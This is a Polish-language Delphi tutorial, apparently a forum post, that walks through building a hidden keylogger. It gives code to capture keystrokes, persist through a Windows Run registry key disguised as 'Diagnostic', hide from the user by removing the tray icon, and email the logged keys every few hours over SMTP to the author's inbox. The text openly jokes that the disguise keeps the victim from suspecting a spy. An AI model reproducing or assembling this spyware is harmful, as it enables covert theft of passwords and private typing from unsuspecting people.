Potrzebne komponenty:
KeySpyXP1 - zakładka system
Timer1 - zakładka system
Memo1 - zakładka standard
IdSMTP - zakładka Indy Clients (Indy)
IdMessage - zakładka Indy Misc (Indy)
CoolTray
Komponenty Indy można ściągnąć ze strony:
http://www.indyproject.org/
komponent KeySpyXp z:
http://download.4programmers.net/KeySpyXP.zip
a komponent CoolTray z:
http://4programmers.net/Delphi/Komponenty/Cooltray.zip
Co nasz program powinien umieć:
1. Przechwytywać klawisze.
2. Uruchamiać się przy starcie systemu.
3. Być niewidocznym dla użytkownika.
4. Wysłać na maila wcześniej zapisane klawisze.
1. Do przechwytywania klawiszy posłużę się komponentem KeySpyXP.
Na formie umieszczamy ten komponent (KeySpyXP1) i komponent Memo1.
Dwukrotnie klikamy na komponent KeySpyXp i wpisujemy kod:
if key[1]='{' then
memo1.lines.add(key) else
memo1.Text:=memo1.text+key;
Nasz program teraz potrafi przechwytywać i zapisywać wciskane klawisze w komponencie Memo1.
2. Aby nasz program uruchamiał się podczas startu wpisujemy klucz do rejestru. Klikamy na formę i w Inspektorze Obiektów w zakładce Events klikamy w OnCreate
procedure TForm1.FormCreate(Sender: TObject);
var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
try
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',False);
Reg.WriteString('Diagnostic', 'C:\Windows\system32\diagnostic.exe');
finally
Reg.CloseKey;
Reg.Free;
end;
end;
Oczywiście w bloku Uses dopisujemy Registry. Nasz program nazwałem rDiagnosticr1;, żeby potencjalny lamer się nie domyślił że to szpieg ;D. Ścieżkę do pliku można zmieniać do woli i nazwę też. Teraz nasz program będzie uruchamiany ze startem systemu (Jeśli znajduje się w podanej ścieżce!).
3. Aby nasz program był niewidoczny potrzebujemy komponentu CoolTray. Wrzucamy go na formę i IconVisible ustawiamy na FALSE, MinimizeToTray ustawiamy na TRUE i StartMinimizet na TRUE. Teraz nasz program będzie uruchamiał się zminimalizowany i ładował się do traya, ale nie posiada ikony więc użytkownik nie będzie wiedział że coś tam jest ;D. Jedyna wada to że jest widoczny w Menedżerze urządzeń ;(
4. Teraz zajmiemy się wysyłaniem maila. Dwukrotne klikamy na komponent Timer i wklejamy poniższy kod. W Timer w zakładce Events zmieniamy Interval (czas mierzy w ms). Standardowo ustawione jest na 1000 czyli 1 s. Warto zmienić na jakąś większą wartość np. 10800000ms = 3h
IdMessage1.Body.Append('TREŚĆ MAILA');
IdMessage1.Recipients.EMailAddresses := 'ODBIORCA@ODBIORCA.PL';
IdMessage1.Subject := 'TEMAT';
idSMTP1.Password := 'HASŁO DO KONTA';
idSMTP1.Username := 'NAZWA UŻYTKOWNIKA';
idSMTP1.Host := 'HOST DO POŁĄCZENIA';
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally
IdSMTP1.Disconnect;
end;
Wyraz Treść Maila1; zmieniamy na rmemo1.Textr1; ( bez cydzysłowa ),
'ODBIORCA@ODBIORCA.PL' zmieniamy na swojego maila.
To połączenie wymaga uwieżytelnienia wiec potrzebujemy drugiego maila.
Nazwa użytkownika, hasło i host dotyczą się drugiego maila.